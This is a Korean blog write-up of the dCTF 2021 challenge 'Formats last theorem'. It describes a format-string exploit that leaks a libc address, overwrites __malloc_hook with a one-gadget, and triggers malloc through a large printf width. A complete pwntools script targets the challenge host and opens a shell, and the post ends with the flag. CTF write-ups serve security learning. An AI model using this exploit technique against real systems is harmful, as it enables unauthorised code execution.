Sechack

dCTF 2021 - Formats last theorem 풀이 본문

CTF

dCTF 2021 - Formats last theorem 풀이

Sechack 2021. 5. 16. 16:38
반응형

 

알람이 10초다... 너무 적게준거 아닌가... 손퍼징... 크흠...

 

 

 

vuln함수이다. 솔직히 여기만 봤을때는 5분컷 할줄 알았다. fsb인데 입력할 공간도 넉넉하고 while문에서 돌아가고 있다. 평범하게 주소 덮으면 되는줄 알았다. libc는 간단하게 main함수의 ret부분을 leak하면 된다.

 

 

 

Full relro이다. 바이너리 이름은 좀 길어서 format으로 바꿔주고 풀었다. Dockerfile도 같이 주길래 봤더니 ubuntu 18.04여서 해당 환경에서 진행했다.

 

Full relro를 보자마자 __free_hook, __malloc_hook을 덮을 생각을 했다. 하지만 바이너리 내에서 힙 관련 함수를 사용하지 않는다. 그러나 좌절하지 않고 heap chunks명령어를 쳐봤더니 청크가 있다...!! 분석결과 puts함수 내부에서 malloc함수를 사용한것이다.

 

그리고 이건 낚인거였다. puts함수는 gdb로 계속 안으로 들어가서 분석해 봤는데 처음 할당할때만 malloc를 호출한다. 즉 내부적으로 stdout구조체를 사용하는데 stdout + 0x20과 같은 stdout구조체 중간중간을 0인지 체크를 하는 루틴들이 있었다. 그리고 그 외에도 malloc을 호출하기 위해서 많은 검사를 한다. 즉 이 구조체를 fsb를 이용해서 초기상태로 만들어줘야 한다는건데 사실상 불가능에 가까웠다. 하지만 조금의 희망이 보였기 때문에 많은 삽질을 했다.

 

 

그리고 좌절하던 도중...

 

 

https://say2.tistory.com/entry/0ctf-qualEasiestPrintf

 

[0ctf qual]EasiestPrintf

printf는 문자열이 일정크기가 넘어가면 malloc free를 호출한다(vfprintf) fsb를 이용하여 malloc_hook free_hook 을 덮어 쓸수 있다. 혹은 stdout의 함수포인터를 덮을 수도 있다. 32bit이기 때문에 http://say..

say2.tistory.com

 

이 블로그를 발견했다... printf함수는 출력할 문자열이 일정 크기가 넘어가면 malloc을 호출한다고 했다. __malloc_hook은 이미 원가젯으로 덮어놓은 상태였다. 설마하고 저거대로 페이로드 뒤에 %100000c추가했는데 바로따인다...

하... 플래그 인증하고 너무 허무했다... 거의 4시간에 가까운 삽질이 이렇게 허무하게 끝나다니... 이래서 구글링을 습관화 해야되나보다...

 

from pwn import *

#p = process("./format")
r = remote("dctf-chall-formats-last-theorem.westeurope.azurecontainer.io", 7482)
e = ELF("./format")
libc = e.libc

r.sendlineafter("point\n", "%23$p")
r.recvline()

leak = int(r.recv(14), 16)
libc_base = leak - libc.sym["__libc_start_main"] - 231
malloc_hook = libc_base + libc.sym["__malloc_hook"]
one_gadget = libc_base + 0x4f432

low = one_gadget & 0xffff
middle = (one_gadget >> 16) & 0xffff
high = (one_gadget >> 32) & 0xffff

if low > middle:
    middle = (middle - low) & 0xffff
else:
    middle = middle - low

if (low + middle) > high:
    high = (high - (low + middle)) & 0xffff
else:
    high = high - (low + middle)

pay = ("%{}c".format(low)).encode()
pay += b"%12$hn"
pay += ("%{}c".format(middle)).encode()
pay += b"%13$hn"
pay += ("%{}c".format(high)).encode()
pay += b"%14$hn"
pay += b"%100000c"
pay += b"a"*(8 - (len(pay) % 8))
pay += p64(malloc_hook)
pay += p64(malloc_hook + 2)
pay += p64(malloc_hook + 4)

r.sendlineafter("point\n", pay)

r.interactive()

 

전체 익스코드이다.

 

 

셸이 따였다. 알람이 10초로 설정되어서 플래그를 읽으면 셸이 바로 닫힌다. ㅋㅋ

한문제만 더풀면 이번 CTF포너블 올클인데 마지막 힙문제는 leak까지는 했는데 free할때 포인터를 0으로 만들어서 DFB도 안터지고 힙오버 일어나나 테스트 몇번 해봤는데 안일어나는듯 싶다. 아마 이건 대회끝나고 write up보고 이해해야할듯 싶다.

 

 

dctf{N0t_all_7h30r3ms_s0und_g00d}

 

 

(대회 중에 작성한 write up으로 대회가 끝날때까지 보호를 걸어놓았습니다.)

반응형
Comments